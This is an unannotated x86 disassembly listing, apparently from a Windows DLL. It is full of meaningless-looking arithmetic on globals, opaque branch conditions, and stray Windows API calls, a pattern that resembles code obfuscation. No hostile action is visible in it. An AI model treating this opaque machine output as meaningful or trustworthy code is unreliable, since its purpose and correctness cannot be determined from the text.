mov dword [0x100a20e4], eax
jmp 0x10053adb
mov byte [0x100a207a], 0x3f
mov ecx, dword [0x100a2148]
mov edx, dword [0x100a214c]
add ecx, 0x1b
adc edx, 0
mov eax, dword [ebp - 0x44]
mov esi, dword [ebp - 0x40]
push edx
push ecx
push esi
push eax
call fcn.10073ef0
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
mov ecx, dword [0x100a20e4]
sub ecx, 0xf2df365a
mov dword [ebp - 0x3c], ecx
movzx edx, byte [0x100a207b]
add edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x28]
mov dword [ebp - 0x28], edx
movsx eax, word [0x100a20f0]
cdq
push edx
push eax
mov eax, dword [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x54]
push ecx
call fcn.10073ef0
mov dword [0x100a20f8], eax
mov dword [0x100a20fc], edx
movzx eax, word [ebp - 8]
cdq
mov ecx, dword [ebp - 0x54]
sub ecx, eax
mov eax, dword [ebp - 0x50]
sbb eax, edx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x3c], 0
je 0x10053b70
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x650], ecx
jmp 0x10053b7a
movzx edx, word [ebp - 8]
mov dword [ebp - 0x650], edx
mov ax, word [ebp - 0x650]
mov word [ebp - 0x14], ax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [0x100a20dc]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x38]
add edx, 0xda
movzx eax, byte [ebp - 2]
sub eax, edx
mov byte [ebp - 2], al
xor ecx, ecx
mov dword [ebp - 0x64], 0x56c8
mov dword [ebp - 0x60], ecx
mov edx, dword [0x100a2130]
mov eax, dword [0x100a2134]
mov dword [ebp - 0x2650], eax
sub edx, 0xd935
mov word [0x100a20f0], dx
xor ecx, ecx
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
sub edx, dword [ebp - 0x1c]
sbb eax, ecx
mov dword [0x100a20e8], edx
mov dword [0x100a20ec], eax
mov ecx, dword [ebp - 0x654]
imul ecx, dword [ebp - 0x658]
mov edx, dword [ebp - 0x654]
sub edx, dword [ebp - 0x658]
sub ecx, edx
cmp dword [ebp - 0x154c], ecx
je 0x10055867
movsx eax, word [0x100a2110]
test eax, eax
je 0x10053c2a
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov dword [ebp - 0x24], eax
jmp 0x10053e2b
movsx ecx, byte [str.y4The_server_is_requ]
test ecx, ecx
je 0x10053cd9
mov edx, 0x86c
mov dword [ebp - 0x4c], 0xcb364604
mov dword [ebp - 0x48], edx
mov dword [0x100a20e4], 0x86
movzx eax, word [ebp - 0x10]
test eax, eax
jne 0x10053c66
mov dword [ebp - 0x65c], 1
jmp 0x10053c70
mov dword [ebp - 0x65c], 0
cmp dword [ebp - 0x24], 0
jne 0x10053c82
mov dword [ebp - 0x660], 1
jmp 0x10053c8c
mov dword [ebp - 0x660], 0
movzx ecx, word [0x100a2138]
add ecx, dword [ebp - 0x65c]
xor ecx, dword [ebp - 0x660]
mov edx, dword [ebp - 0x2c]
add edx, 0xc9
movzx eax, word [0x100a2124]
imul edx, eax
or ecx, edx
mov byte [ebp - 2], cl
movzx eax, word [0x100a2118]
cdq
mov ecx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x40]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov word [0x100a2138], ax
jmp 0x10053e2b
movzx edx, word [ebp - 0x10]
cmp dword [0x100a20e4], edx
ja 0x10053d89
movsx eax, word [0x100a20f0]
cdq
sub eax, 0xe957a372
sbb edx, 0x3340d
mov dword [0x100a20f8], eax
mov dword [0x100a20fc], edx
movzx eax, word [0x100a2118]
shl eax, 7
mov word [0x100a20e0], ax
movzx eax, word [0x100a2138]
cdq
push 0x25368
push 0x45d65f4b
push edx
push eax
call fcn.10073ef0
mov ecx, dword [0x100a2148]
mov esi, dword [0x100a214c]
and ecx, eax
and esi, edx
mov dword [0x100a2148], ecx
mov dword [0x100a214c], esi
mov edx, dword [ebp - 0x2c]
add edx, 0x13
mov dword [0x100a2104], edx
mov ecx, dword [ebp - 0x64]
sub ecx, 0xfa
movzx eax, word [0x100a2138]
cdq
sub eax, ecx
mov word [0x100a2138], ax
xor edx, edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
add eax, dword [ebp - 0x30]
adc ecx, edx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], ecx
jmp 0x10053e2b
movzx edx, word [0x100a20e0]
not edx
movzx eax, byte [0x100a207a]
not eax
cmp edx, eax
jle 0x10053dab
mov dword [ebp - 0x668], 1
jmp 0x10053db5
mov dword [ebp - 0x668], 0
movzx ecx, word [0x100a211c]
test ecx, ecx
jne 0x10053dcc
mov dword [ebp - 0x664], 1
jmp 0x10053dd6
mov dword [ebp - 0x664], 0
movzx edx, word [0x100a20e0]
cmp edx, dword [ebp - 0x664]
jg 0x10053df1
mov dword [ebp - 0x66c], 1
jmp 0x10053dfb
mov dword [ebp - 0x66c], 0
mov eax, dword [ebp - 0x668]
cmp eax, dword [ebp - 0x66c]
jle 0x10053e2b
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
sub edx, ecx
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x18]
cdq
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
mov al, byte [0x100a2c3c]
mov byte [0x100a203b], al
mov dword [0x100a20f4], 0x91dbdeea
mov ecx, dword [0x100a2104]
add ecx, 0x8316
mov dword [ebp - 0x30], ecx
mov edx, dword [0x100a2c3c]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x64]
add eax, 0x23
mov ecx, dword [ebp - 0x60]
adc ecx, 0
mov dword [0x100a2130], eax
mov dword [0x100a2134], ecx
mov edx, dword [0x100a2100]
xor eax, eax
push eax
push edx
mov ecx, dword [0x100a20d4]
push ecx
mov edx, dword [0x100a20d0]
push edx
call fcn.10073ef0
add eax, dword [0x100a20d0]
adc edx, dword [0x100a20d4]
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], edx
imul eax, dword [ebp - 0x30], 0xd9e4dc1f
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x1a54], ecx
mov dword [ebp - 0x1a50], edx
mov eax, dword [ebp - 0x1a54]
or eax, dword [ebp - 0x1a50]
je 0x10053edd
mov ecx, dword [0x100a2150]
mov edx, dword [0x100a2154]
mov dword [ebp - 0x10ec], ecx
mov dword [ebp - 0x10e8], edx
jmp 0x10053eee
movzx eax, word [ebp - 0x10]
cdq
mov dword [ebp - 0x10ec], eax
mov dword [ebp - 0x10e8], edx
mov ax, word [ebp - 0x10ec]
mov word [0x100a2124], ax
mov ecx, dword [ebp - 0x18]
add ecx, 0x4400975a
cmp dword [0x100a20dc], ecx
jne 0x1005401d
mov eax, dword [ebp - 0x38]
cdq
mov ecx, dword [0x100a2150]
mov esi, dword [0x100a2154]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x1a5c], ecx
mov dword [ebp - 0x1a58], esi
cmp dword [ebp - 0x1a5c], 1
jne 0x1005401d
cmp dword [ebp - 0x1a58], 0
jne 0x1005401d
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 0x670], eax
mov dword [ebp - 0x1554], 0
cmp dword [ebp - 0x670], 0
je 0x10053f94
mov dword [ebp - 0x1550], 1
mov edx, dword [ebp - 0x1550]
push edx
mov eax, dword [ebp - 0x1554]
push eax
mov ecx, dword [ebp - 0x670]
push ecx
call dword [sym.imp.USER32.dll_GetUpdateRect]
mov dword [ebp - 0x2654], eax
jmp 0x10053e2b
mov eax, 0x964f
mov word [0x100a211c], ax
movsx ecx, byte [0x100a2027]
shl ecx, 3
mov dword [ebp - 0x2c], ecx
mov edx, dword [0x100a2120]
sub edx, dword [ebp - 0x18]
mov eax, dword [0x100a2120]
imul eax, edx
mov dword [0x100a2120], eax
movzx ecx, word [ebp - 0xc]
sub ecx, dword [ebp - 0x30]
movzx edx, word [ebp - 0xc]
and edx, ecx
mov word [ebp - 0xc], dx
movzx eax, word [0x100a211c]
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x38]
cdq
add eax, 0xab70964f
adc edx, 0xfd240
mov dword [ebp - 0x1a6c], ecx
mov dword [ebp - 0x1a68], esi
mov dword [ebp - 0x1a74], eax
mov dword [ebp - 0x1a70], edx
mov edx, dword [ebp - 0x1a6c]
cmp edx, dword [ebp - 0x1a74]
jne 0x10054452
mov eax, dword [ebp - 0x1a68]
cmp eax, dword [ebp - 0x1a70]
jne 0x10054452
movsx ecx, word [0x100a2110]
mov edx, dword [ebp - 0x2c]
sub edx, 0x6386273b
cmp ecx, edx
jne 0x10054452
cmp dword [0x100a20f4], 0
je 0x1005432b
mov dword [ebp - 0x1c4], 0
jmp 0x100540f3
cmp dword [ebp - 0x1c4], 0x23d
jge 0x10054326
mov edx, dword [0x100a2108]
mov eax, dword [0x100a210c]
mov ecx, dword [ebp - 0x2c]
xor esi, esi
mov dword [ebp - 0x1a84], edx
mov dword [ebp - 0x1a80], eax
mov dword [ebp - 0x1a8c], ecx
mov dword [ebp - 0x1a88], esi
mov edx, dword [ebp - 0x1a80]
cmp edx, dword [ebp - 0x1a88]
ja 0x1005437d
jb 0x10054371
mov dword [ebp - 0x678], 0
movzx ecx, word [ebp - 8]
cmp ecx, dword [ebp - 0x678]
jne 0x1005440f
mov edx, 0x964f
mov word [0x100a211c], dx
movsx eax, byte [0x100a2027]
imul ecx, eax, 0xb7
mov dword [ebp - 0x3c], ecx
mov edx, 2
mov word [ebp - 0xc], dx
mov byte [ebp - 3], 0xda
mov eax, dword [0x100a2c3c]
xor ecx, ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x1c8], 0
jmp 0x100544a3
mov edx, dword [ebp - 0x1c8]
add edx, 2
mov dword [ebp - 0x1c8], edx
cmp dword [ebp - 0x1c8], 0xd0
jge 0x100545c1
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
push 0
push 0x6d54b063
push ecx
push eax
call fcn.10073ef0
mov dword [ebp - 0x20], eax
movsx edx, word [ebp - 0x14]
movzx eax, word [0x100a2138]
add edx, eax
mov word [ebp - 0x14], dx
cmp dword [0x100a20d8], 0
jne 0x100544f8
xor ecx, ecx
mov dword [ebp - 0x1104], 1
mov dword [ebp - 0x1100], ecx
jmp 0x10054503
xorps xmm0, xmm0
movlpd qword [ebp - 0x1104], xmm0
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x1100]
push ecx
mov ecx, dword [ebp - 0x1104]
push ecx
push eax
push edx
call fcn.10073ef0
mov ecx, eax
movsx eax, word [0x100a2110]
movsx edx, byte [str.y4The_server_is_requ]
add eax, edx
cdq
add ecx, eax
movzx eax, word [ebp - 8]
movzx edx, byte [ebp - 2]
imul eax, edx
movzx edx, byte [0x100a207b]
movsx esi, byte [0x100a2027]
add edx, esi
not edx
sub eax, edx
cdq
add ecx, eax
mov dword [ebp - 0x20], ecx
push 0
push 0xe662
mov eax, dword [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
call fcn.10073ef0
mov dword [0x100a2140], eax
mov dword [0x100a2144], edx
movsx eax, word [0x100a20f0]
cdq
mov ecx, dword [0x100a2148]
mov esi, dword [0x100a214c]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov ecx, dword [0x100a2148]
mov esi, dword [0x100a214c]
add ecx, eax
adc esi, edx
mov dword [0x100a2148], ecx
mov dword [0x100a214c], esi
mov dx, word [ebp - 8]
add dx, 1
mov word [ebp - 8], dx
jmp 0x10054494
call fcn.1000a800
movzx eax, al
test eax, eax
jne 0x10055867
xor ecx, ecx
mov dword [ebp - 0x4c], 0x54b0e6af
mov dword [ebp - 0x48], ecx
movzx edx, word [0x100a2124]
movzx eax, word [0x100a2124]
xor edx, eax
movsx ecx, byte [str.y4The_server_is_requ]
movzx eax, byte [ebp - 1]
add ecx, eax
imul edx, ecx
test edx, edx
jne 0x1005460d
mov dword [ebp - 0x67c], 1
jmp 0x10054617
mov dword [ebp - 0x67c], 0
mov eax, 0x30f9a2cc
sub eax, dword [ebp - 0x67c]
cdq
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
movzx ecx, byte [ebp - 2]
xor ecx, dword [0x100a20dc]
not ecx
movzx edx, word [0x100a2138]
not edx
add edx, dword [ebp - 0x34]
not edx
add ecx, edx
mov word [0x100a2118], cx
mov eax, 0x6e
mov word [0x100a211c], ax
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
sub ecx, 0xc5a11ec6
sbb edx, 0xdd838
mov dword [ebp - 0x1a9c], ecx
mov dword [ebp - 0x1a98], edx
mov eax, dword [ebp - 0x1a9c]
or eax, dword [ebp - 0x1a98]
jne 0x10054695
movzx eax, word [ebp - 0xc]
test eax, eax
jne 0x1005587b
mov dword [ebp - 0x6e8], 1
jmp 0x10055885
mov dword [ebp - 0x6e8], 0
mov ecx, dword [0x100a20dc]
sub ecx, dword [ebp - 0x6e8]
xor esi, esi
movzx eax, byte [ebp - 3]
cdq
mov edi, dword [0x100a2154]
sub eax, dword [0x100a2150]
sbb edx, edi
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov word [ebp - 0xc], ax
movzx edx, word [0x100a20e0]
test edx, edx
jne 0x100558ca
mov dword [ebp - 0x6ec], 1
jmp 0x100558d4
mov dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x6ec]
movzx ecx, word [0x100a211c]
mov edx, dword [0x100a20dc]
not edx
add ecx, edx
or eax, ecx
mov dword [0x100a2120], eax
mov eax, dword [0x100a20e4]
not eax
mov ecx, dword [0x100a2100]
sub ecx, eax
mov edx, dword [ebp - 0x18]
xor edx, dword [0x100a20e4]
sub ecx, edx
xor eax, eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], eax
movsx eax, word [ebp - 0x14]
movzx ecx, byte [0x100a207b]
sub eax, ecx
cdq
mov esi, eax
add esi, dword [0x100a20f8]
mov edx, dword [0x100a2108]
mov eax, dword [0x100a210c]
mov ecx, dword [ebp - 0x60]
push ecx
mov ecx, dword [ebp - 0x64]
push ecx
push eax
push edx
call fcn.10073ef0
mov edx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x2678], ecx
sub edx, eax
add esi, edx
mov dword [0x100a20dc], esi
movsx edx, byte [0x100a2027]
mov eax, dword [ebp - 0x38]
add eax, edx
mov ecx, dword [ebp - 0x38]
or ecx, eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x18], 2
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x267c], edx
xor ecx, 0xc9ca6727
movsx eax, byte [str.y4The_server_is_requ]
cdq
add eax, ecx
mov byte [str.y4The_server_is_requ], al
movzx eax, word [0x100a2124]
imul ecx, eax, 0xe3022bfb
mov dword [0x100a20f4], ecx
movzx edx, word [0x100a2138]
mov eax, dword [0x100a2120]
add eax, edx
mov dword [0x100a2120], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1d4], ecx
cmp dword [ebp - 0x1d4], 0
je 0x100559ec
cmp dword [ebp - 0x1d4], 1
je 0x10055a36
cmp dword [ebp - 0x1d4], 2
je 0x10055ad8
jmp 0x10055b53
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
mov cl, 5
call fcn.10073f30
mov dword [ebp - 0x20], eax
movsx edx, word [0x100a2110]
imul edx, dword [0x100a20dc]
mov eax, dword [0x100a20dc]
sub eax, edx
mov dword [0x100a20dc], eax
movzx ecx, byte [str.HeapSize]
movzx edx, word [ebp - 8]
xor ecx, edx
movzx eax, byte [str.HeapSize]
add eax, ecx
mov byte [str.HeapSize], al
jmp 0x10055b53
mov ecx, dword [0x100a2150]
mov edx, dword [0x100a2154]
push edx
push ecx
mov eax, dword [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
call fcn.10073ef0
mov ecx, eax
mov esi, edx
xor edx, edx
add ecx, dword [0x100a20d8]
adc esi, edx
not ecx
not esi
movzx eax, byte [0x100a207a]
cdq
mov edi, dword [ebp - 0x64]
sub edi, eax
mov ebx, dword [ebp - 0x60]
sbb ebx, edx
movsx eax, byte [str.y4The_server_is_requ]
not eax
imul eax, eax, 0x1236
cdq
sub edi, eax
sbb ebx, edx
push ebx
push edi
push esi
push ecx
call fcn.10073ef0
mov byte [0x100a207a], al
movsx ecx, byte [0x100a2027]
shl ecx, 7
mov word [ebp - 0xc], cx
movsx edx, word [0x100a20c8]
movsx eax, word [0x100a20c8]
imul edx, eax
movsx ecx, word [0x100a20c8]
sub ecx, edx
mov word [0x100a20c8], cx
movsx edx, byte [0x100a203b]
sar edx, 5
mov byte [0x100a207b], dl
jmp 0x10055b53
movzx eax, word [ebp - 0xc]
sub eax, dword [ebp - 0x18]
movzx ecx, word [ebp - 0xc]
xor ecx, eax
mov word [ebp - 0xc], cx
movzx edx, word [0x100a2124]
add edx, 0xcb
mov word [ebp - 0x14], dx
movzx eax, byte [ebp - 1]
cdq
mov ecx, eax
sub ecx, dword [0x100a20d0]
movzx eax, byte [ebp - 1]
cdq
sub eax, ecx
mov byte [ebp - 1], al
movzx edx, byte [str.HeapSize]
movzx eax, word [ebp - 0x10]
add edx, eax
movzx ecx, byte [str.HeapSize]
imul ecx, edx
mov byte [str.HeapSize], cl
mov edx, dword [ebp - 0x30]
xor eax, eax
push 0x9f3e0
push 0x40d9b1c5
push eax
push edx
call fcn.10073ef0
mov dword [ebp - 0x34], eax
mov ecx, dword [0x100a2c3c]
mov dword [0x100a20e4], ecx
mov edx, dword [ebp - 0x1564]
xor edx, dword [ebp - 0x1568]
cmp edx, 0x1d0
je 0x10071bdc
cmp dword [ebp - 0x18], 0
je 0x10055c7e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [0x100a207b], al
movzx eax, byte [0x100a207b]
test eax, eax
je 0x10055b97
mov dword [ebp - 0x6f0], 1
jmp 0x10055ba1
mov dword [ebp - 0x6f0], 0
movzx ecx, byte [0x100a207b]
cmp ecx, 0x4a
je 0x10055bb9
mov dword [ebp - 0x6f4], 1
jmp 0x10055bc3
mov dword [ebp - 0x6f4], 0
mov edx, dword [ebp - 0x6f0]
cmp edx, dword [ebp - 0x6f4]
jl 0x10055c06
mov eax, dword [0x10086968]
mov dword [ebp - 0x2598], eax
mov ecx, dword [0x1008696c]
mov dword [ebp - 0x2594], ecx
mov edx, dword [0x10086970]
mov dword [ebp - 0x2590], edx
lea eax, [ebp - 0x2598]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x3c], eax
jmp 0x10055c7c
mov byte [ebp - 1], 0x14
movsx eax, word [0x100a2110]
cdq
push 0xda558
push 0xc33e3060
push edx
push eax
call fcn.10073ef0
mov dword [ebp - 0x30], eax
movsx ecx, word [ebp - 0x14]
sub ecx, 0xdb
mov word [0x100a2138], cx
mov eax, dword [ebp - 0x18]
cdq
push 0x2928
push 0x137dfe20
push edx
push eax
call fcn.10073ef0
mov byte [0x100a207b], al
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov ecx, dword [0x100a2148]
mov esi, dword [0x100a214c]
push esi
push ecx
push eax
push edx
call fcn.10073ef0
mov dword [0x100a20e8], eax
mov dword [0x100a20ec], edx
jmp 0x10055caf
cmp dword [0x100a2104], 0
jne 0x10055caf
cmp dword [ebp - 0x2c], 0
jne 0x10055caf
movzx edx, word [ebp - 8]
add edx, 0xdbe1
mov dword [ebp - 0x24], edx
imul eax, dword [0x100a2114], 0xdb
mov byte [ebp - 1], al
mov cx, word [ebp - 0x28]
mov word [ebp - 8], cx
mov edx, 0x30ac4
mov dword [0x100a20e8], 0x91dbdeea
mov dword [0x100a20ec], edx
mov eax, dword [0x100a2104]
sub eax, 0x4e12b03c
sub eax, dword [0x100a2114]
mov dword [ebp - 0x28], eax
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
mov dword [ebp - 0x2680], edx
add ecx, 0xbddd70a2
movzx eax, byte [ebp - 2]
cdq
or eax, ecx
mov byte [ebp - 2], al
movzx eax, byte [ebp - 3]
add eax, 0x790aa465
xor ecx, ecx
mov dword [0x100a20e8], eax
mov dword [0x100a20ec], ecx
mov ecx, dword [0x100a20e8]
mov esi, dword [0x100a20ec]
mov eax, dword [ebp - 0x18]
add eax, 1
cdq
mov dword [ebp - 0x1b04], ecx
mov dword [ebp - 0x1b00], esi
mov dword [ebp - 0x1b0c], eax
mov dword [ebp - 0x1b08], edx
mov edx, dword [ebp - 0x1b04]
cmp edx, dword [ebp - 0x1b0c]
jne 0x10055ea9
mov eax, dword [ebp - 0x1b00]
cmp eax, dword [ebp - 0x1b08]
jne 0x10055ea9
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.USER32.dll_IsIconic]
mov dword [ebp - 0x30], eax
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.USER32.dll_OpenIcon]
mov word [0x100a20c8], ax
movsx eax, word [0x100a20c8]
test eax, eax
jl 0x10055d92
mov dword [ebp - 0x6f8], 1
jmp 0x10055d9c
mov dword [ebp - 0x6f8], 0
movsx ecx, word [0x100a20c8]
cmp ecx, 0x51
jl 0x10055db4
mov dword [ebp - 0x6fc], 1
jmp 0x10055dbe
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x6f8]
cmp edx, dword [ebp - 0x6fc]
jg 0x10055dd5
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 0x34], eax
cmp dword [0x100a20d0], 1
jne 0x10055ea9
cmp dword [0x100a20d4], 0
jne 0x10055ea9
mov eax, dword [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x54]
push ecx
mov edx, dword [0x100a2144]
push edx
mov eax, dword [0x100a2140]
push eax
call fcn.10073ef0
mov ecx, dword [0x100a2140]
sub ecx, eax
mov eax, dword [0x100a2144]
sbb eax, edx
mov dword [0x100a2140], ecx
mov dword [0x100a2144], eax
movzx ecx, word [0x100a2124]
imul edx, ecx, 0x6f
movsx eax, word [0x100a2110]
sub eax, edx
mov word [0x100a2110], ax
mov ecx, 0x41033
mov dword [ebp - 0x54], 0x8f41eb8e
mov dword [ebp - 0x50], ecx
mov dx, word [ebp - 0xc]
sub dx, 1
mov word [ebp - 0xc], dx
movzx eax, word [ebp - 0x10]
cdq
sub eax, 0xf85e2ae7
mov dword [ebp - 0x18], eax
mov eax, dword [0x100a20e8]
mov ecx, dword [0x100a20ec]
mov dword [ebp - 0x2684], ecx
mov dword [0x100a2114], eax
jmp 0x10055ea9
mov eax, 0x30ac4
mov dword [0x100a20e8], 0x91dbdeea
mov dword [0x100a20ec], eax
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
xor ecx, dword [ebp - 0x44]
xor edx, dword [ebp - 0x40]
mov dword [0x100a2108], ecx
mov dword [0x100a210c], edx
movzx eax, word [ebp - 8]
movzx ecx, word [ebp - 0x10]
imul eax, ecx
mov word [ebp - 8], ax
movsx edx, word [0x100a2110]
add edx, dword [0x100a20d8]
mov eax, dword [0x100a20d8]
sub eax, edx
mov dword [0x100a20d8], eax
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [0x100a2128]
je 0x10055f1a
mov dword [ebp - 0x700], 1
jmp 0x10055f24
mov dword [ebp - 0x700], 0
cmp dword [ebp - 0x28], 0x44
je 0x10055f36
mov dword [ebp - 0x704], 1
jmp 0x10055f40
mov dword [ebp - 0x704], 0
mov edx, dword [ebp - 0x700]
cmp edx, dword [ebp - 0x704]
jge 0x10055fa5
mov eax, 1
imul ecx, eax, 0x78e
movzx edx, byte [ecx + 0x102c1f30]
mov eax, dword [ebp - 0x38]
sub eax, edx
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x48]
push 0
push 0x2bb392d6
push edx
push ecx
call fcn.10073ef0
mov ecx, eax
mov esi, edx
movzx eax, byte [ebp - 1]
cdq
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov byte [ebp - 1], al
mov dword [ebp - 0x3c], 0x3718f92c
movzx edx, byte [ebp - 3]
imul edx, dword [ebp - 0x34]
mov dword [ebp - 0x34], edx
jmp 0x10055fec
mov dword [ebp - 0x28], 0x9b5f73c4
mov ax, word [0x100a2118]
add ax, 1
mov word [0x100a2118], ax
movzx ecx, word [ebp - 0xc]
mov edx, dword [ebp - 0x34]
sub edx, ecx
mov eax, dword [0x100a2120]
not eax
imul edx, eax
mov ecx, dword [0x100a20f4]
add ecx, 0xfc0e
mov eax, dword [0x100a2128]
sub eax, ecx
not eax
xor edx, eax
mov dword [0x100a20dc], edx
call fcn.1003b430
test eax, eax
je 0x1005ad59
mov eax, dword [0x100a2120]
cdq
mov dword [ebp - 0x1b14], eax
mov dword [ebp - 0x1b10], edx
mov ecx, dword [0x100a2144]
cmp ecx, dword [ebp - 0x1b10]
jg 0x1005609f
jl 0x1005602d
mov edx, dword [0x100a2140]
cmp edx, dword [ebp - 0x1b14]
ja 0x1005609f
mov eax, dword [0x100a20e4]
mov dword [ebp - 0x20], eax
movsx eax, word [0x100a20c8]
cdq
mov ecx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x48]
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov ecx, eax
movsx eax, word [0x100a20c8]
cdq
sub eax, ecx
mov word [0x100a20c8], ax
movsx edx, word [0x100a20c8]
imul eax, edx, 0xf92233ff
xor ecx, ecx
mov dword [0x100a2108], eax
mov dword [0x100a210c], ecx
mov eax, dword [0x100a20f4]
not eax
cdq
mov edx, dword [0x100a2148]
mov ecx, dword [0x100a214c]
mov dword [ebp - 0x2688], ecx
add eax, edx
mov word [0x100a211c], ax
jmp 0x1005613f
cmp dword [0x100a2100], 0
je 0x100560dd
movzx edx, word [0x100a20e0]
imul edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
sub eax, edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 8
movzx eax, byte [0x100a207b]
cdq
mov ecx, eax
sub ecx, 0xae2d6662
mov eax, dword [ebp - 0x20]
cdq
sub eax, ecx
mov dword [ebp - 0x20], eax
jmp 0x1005613f
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
sub edx, 0x7e
sbb eax, 0
mov dword [ebp - 0x1b1c], edx
mov dword [ebp - 0x1b18], eax
mov ecx, dword [ebp - 0x1b1c]
or ecx, dword [ebp - 0x1b18]
je 0x1005613f
movzx eax, word [0x100a211c]
not eax
cdq
mov ecx, dword [0x100a2108]
mov esi, dword [0x100a210c]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x1cd4], ecx
mov dword [ebp - 0x1cd0], esi
mov edx, dword [ebp - 0x1cd4]
or edx, dword [ebp - 0x1cd0]
jne 0x1005ada1
xor eax, eax
mov dword [ebp - 0x1cdc], 1
mov dword [ebp - 0x1cd8], eax
jmp 0x1005adac
xorps xmm0, xmm0
movlpd qword [ebp - 0x1cdc], xmm0
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x2710], edx
sub ecx, 0x1db0274e
and ecx, dword [ebp - 0x1cdc]
mov dword [0x100a2100], ecx
movzx eax, byte [ebp - 3]
movsx ecx, byte [str.y4The_server_is_requ]
add eax, ecx
cdq
mov ecx, dword [0x100a20d4]
push ecx
mov ecx, dword [0x100a20d0]
push ecx
push edx
push eax
call fcn.10073ef0
mov word [ebp - 0x14], ax
mov ecx, dword [ebp - 0x54]
not ecx
add ecx, 0x615fb7e5
not ecx
movzx eax, byte [ebp - 2]
cdq
sub ecx, eax
mov dword [0x100a2128], ecx
mov edx, 0xa993
mov word [0x100a211c], dx
mov eax, 0xd37f
mov word [ebp - 0xc], ax
movzx ecx, word [0x100a20e0]
movsx edx, word [0x100a20f0]
sub ecx, edx
movzx eax, word [0x100a20e0]
add eax, ecx
mov word [0x100a20e0], ax
mov eax, dword [0x100a2128]
cdq
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], edx
mov ecx, dword [0x100a2c3c]
mov dword [ebp - 0x208], ecx
mov edx, 2
mov word [0x100a20f0], dx
movzx eax, byte [str.HeapSize]
movsx ecx, word [0x100a20f0]
imul eax, ecx
movzx edx, byte [str.HeapSize]
imul edx, eax
mov byte [str.HeapSize], dl
mov eax, dword [0x100a2108]
mov ecx, dword [0x100a210c]
mov dword [ebp - 0x2714], ecx
and eax, 0xf70ee230
mov word [0x100a2124], ax
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], edx
movsx eax, word [0x100a20f0]
not eax
sub eax, dword [0x100a20e4]
mov ecx, dword [ebp - 0x24]
xor ecx, dword [ebp - 0x1c]
not ecx
add eax, ecx
movzx edx, word [0x100a2138]
movzx ecx, word [ebp - 0xc]
mov esi, dword [ebp - 0x3c]
imul esi, ecx
sub edx, esi
not edx
imul eax, edx
xor edx, edx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
push 0x1769c
push 0xe0658b35
push ecx
push eax
call fcn.10073ef0
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov dword [ebp - 0x1ce4], edx
